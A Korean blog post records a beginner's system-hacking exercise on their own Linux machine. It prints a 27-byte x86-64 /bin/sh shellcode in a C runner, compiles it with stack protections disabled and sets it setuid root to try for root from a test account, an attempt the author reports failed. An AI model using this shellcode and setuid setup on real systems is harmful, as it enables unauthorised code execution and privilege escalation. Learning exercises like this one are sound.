๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

ํ”„๋กœ์ ํŠธ/์‹œ์Šคํ…œ ํ•ดํ‚น

[์‹œ์Šคํ…œ ํ•ดํ‚น] ์‰˜ ์ฝ”๋“œ ์ œ์ž‘ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹ค์Šต

728x90

์ฐธ๊ณ  : https://youtu.be/eJWlg-VoCBg

์œ ํŠœ๋ธŒ๋ฅผ ๋ณด๋ฉด์„œ, ์‰˜ ์ฝ”๋“œ๋ฅผ ์ œ์ž‘ํ•˜๊ณ , ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹ค์Šตํ•ด๋ณด๋ ค๊ณ  ํ•œ๋‹ค.

์‰˜ ์ฝ”๋“œ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡์ด๋ž€ ์šฉ์–ด๋Š” ๋ณด์•ˆ๊ธฐ์‚ฌ ์ค€๋น„์‹œ ๋งŽ์ด ๋“ค์–ด๋ดค๋‹ค.


์‰˜ ์ฝ”๋“œ๋Š” ๋ช…๋ น ์‰˜ ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝ์ ์„ ๋šซ๊ณ  ์„œ๋ฒ„ ์ปดํ“จํ„ฐ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ๋œปํ•œ๋‹ค.

 

์œˆ๋„์šฐ์—์„œ ์‰˜ ์ฝ”๋“œ๋Š” ์šฐ๋ฆฌ๊ฐ€ ํ”ํžˆ ์“ฐ๋Š” cmd๋ฅผ ๋œปํ•œ๋‹ค.


 

๊ตฌ๊ธ€์— ์ž์‹ ์˜ ์šด์˜์ฒด์ œ๋ฅผ ์ ๊ณ  ์‰˜ ์ฝ”๋“œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋ฉด ๋‹ค์–‘ํ•œ ์‰˜ ์ฝ”๋“œ๋“ค์ด ๊ฒ€์ƒ‰๋œ๋‹ค.

https://shell-storm.org/shellcode/files/shellcode-806.html

 

Linux/x86-64 - Execute /bin/sh - 27 bytes

 

shell-storm.org

ํ˜„์žฌ๋Š” ์ด ์‰˜ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ํ•œ๋‹ค.

$su root

root๊ถŒํ•œ ํƒˆ์ทจ๋ฅผ ์œ„ํ•ด root ๊ณ„์ •์œผ๋กœ ์ ‘์†ํ•ด shell ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ ์ž ํ•œ๋‹ค.

 

#nano shell.c

๋จผ์ € shell.c๋ฅผ ๋งŒ๋“ ๋‹ค.

์‰˜ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” ๋ฌธ์ž์—ด์„ ํ•˜๋‚˜ ๋งŒ๋“ ๋‹ค.

๊ทธ ํ›„ ๊ทธ ์•ˆ์— ์œ„์˜ ์‰˜ ์ฝ”๋“œ ์ค‘ char code[]=" ~~" ์•ˆ์˜ ๋ถ€๋ถ„์„ ๋ณต์‚ฌํ•˜์—ฌ ๋ถ™์—ฌ๋„ฃ๊ธฐ ํ•ด์ค€๋‹ค.

Ctrl+Shift+V ๋˜๋Š” ๋งˆ์šฐ์Šค ์šฐํด๋ฆญ์˜ ํด๋ฆฝ๋ณด๋“œ ๋ถ™์—ฌ๋„ฃ๊ธฐ๋ฅผ ํ†ตํ•ด ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ๋ถ™์—ฌ๋„ฃ๊ธฐ ํ•  ์ˆ˜ ์žˆ๋‹ค.

#include <stdio.h>
#include <string.h>

void main(){
	const char shell[]="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
        printf("length: %d bytes \n", strlen(shell));
        (*(void(*)()) shell)();
        return 0;
}

์ฒ˜์Œ์€ ์‰˜ ์ฝ”๋“œ์˜ ๊ธธ์ด๋ฅผ ์ถœ๋ ฅํ•˜๋Š” printf๋ฌธ์ด๊ณ , ๊ทธ ๋ฐ‘์€

ํ•จ์ˆ˜ํ˜•ํƒœ๋กœ ์‹คํ–‰ํ•ด์„œ ๋ฐ”๋กœ ์‰˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค์—ˆ๋‹ค.

 

์—„์ฒญ๋‚œ ์„œ์น˜ ๊ฒฐ๊ณผ ํ˜„์žฌ char ์„ ์–ธ์„ main์•ˆ์— ํ•ด์•ผํ•˜๊ณ  const๋ฅผ ๋ถ™์—ฌ์•ผ ์ž‘๋™ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ๋‹ค.

 

# gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack shell.c -o shell

์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค์™€ ๊ฐ™์€ ์ตœ์‹  OS๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ํ”„๋กœ๊ทธ๋žจ ์ปดํŒŒ์ผ์‹œ ์Šคํƒ ํ”„๋กœํ…ํ„ฐ๊ฐ€ ์žˆ์ง€๋งŒ,

์‹ค์Šต์„ ์œ„ํ•ด ๋ฐฉ์–ด๊ธฐ๋ฒ•์„ ๋ชจ๋‘ ๋ˆ ์ƒํƒœ์—์„œ ์‹ค์Šต์„ ํ•œ๋‹ค.


์‹ค์Šต์„ ์œ„ํ•ด ์ƒˆ๋กœ์šด ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋„๋ก ํ•œ๋‹ค.

#adduser test

adduser ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•ดtest ์œ ์ €๋ฅผ ์ถ”๊ฐ€ํ•˜์ž.

 

#chmod 4755 shell

shell ์ฝ”๋“œ์˜ ์‹คํ–‰ ๊ถŒํ•œ์„ setuid๋ฅผ ์„ค์ •ํ•œ 4755๋กœ ์„ค์ •ํ•˜๋„๋ก ํ•œ๋‹ค.

setuid๋Š” root์˜ ๊ถŒํ•œ์œผ๋กœ ํ•ด๋‹น ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•œ๋‹ค.

 

#chmod 0775 ํ™ˆ ๋””๋ ‰ํ„ฐ๋ฆฌ

test ์œ ์ €๋ฅผ ์ƒˆ๋กœ ๋งŒ๋“ค์—ˆ๋Š”๋ฐ  ์ž๊พธ ๋ฐ‘์—์„œ ์‹คํ–‰์ด์•ˆ๋ผ์„œ ์—„์ฒญ ์ฐพ์•„๋ณด๋‹ค๊ฐ€

ํ•ด๊ฒฐ๋ฐฉ๋ฒ•์„ ์•Œ์•˜๋‹ค.

 

#su test

test ์‚ฌ์šฉ์ž๋กœ ์ด๋™ํ•˜๋„๋ก ํ•œ๋‹ค. 

su ๋ช…๋ น์–ด๋Š” ์‚ฌ์šฉ์ž๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ๋ช…๋ น์–ด์ด๋‹ค.

$./shell

์ด๋ฒˆ์— ์‚ฌ์šฉํ•œ ์‰˜ ์ฝ”๋“œ๋กœ๋Š” ๋ฃจํŠธ ๊ถŒํ•œ ํƒˆ์ทจ๊ฐ€ ์–ด๋ ค์šด๊ฒƒ ๊ฐ™๋‹ค.

stack overflow๋ฅผ ์ฐพ์•„๋ณด๋‹ˆ, ์‰˜ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜ ํ•ด์•ผ๋œ๋‹ค๊ณ  ํ•œ๋‹ค.

 

๋‹ค์Œ์—” ๋‹ค๋ฅธ ์‰˜ ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•˜์—ฌ ๋งŒ๋“ค์–ด๋ณด์•„์•ผ๊ฒ ๋‹ค.

 

 

2023.01.19 - [ํ”„๋กœ์ ํŠธ/์‹œ์Šคํ…œ ํ•ดํ‚น] - [์‹œ์Šคํ…œ ํ•ดํ‚น] ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ๋ณ„ ํ”ผ๋ผ๋ฏธ๋“œ ๋งŒ๋“ค๊ธฐ (2)

 

[์‹œ์Šคํ…œ ํ•ดํ‚น] ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ๋ณ„ ํ”ผ๋ผ๋ฏธ๋“œ ๋งŒ๋“ค๊ธฐ (2)

2023.01.18 - [ํ”„๋กœ์ ํŠธ/์‹œ์Šคํ…œ ํ•ดํ‚น] - [์‹œ์Šคํ…œ ํ•ดํ‚น] ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ๋ณ„ ํ”ผ๋ผ๋ฏธ๋“œ ๋งŒ๋“ค๊ธฐ (1) [์‹œ์Šคํ…œ ํ•ดํ‚น] ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ๋ณ„ ํ”ผ๋ผ๋ฏธ๋“œ ๋งŒ๋“ค๊ธฐ (1) https://youtu.be/FFFr5GnelJI ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋ฅผ ์ด์šฉํ•ด์„œ ๋ณ„ ํ”ผ๋ผ

dangsdangs.tistory.com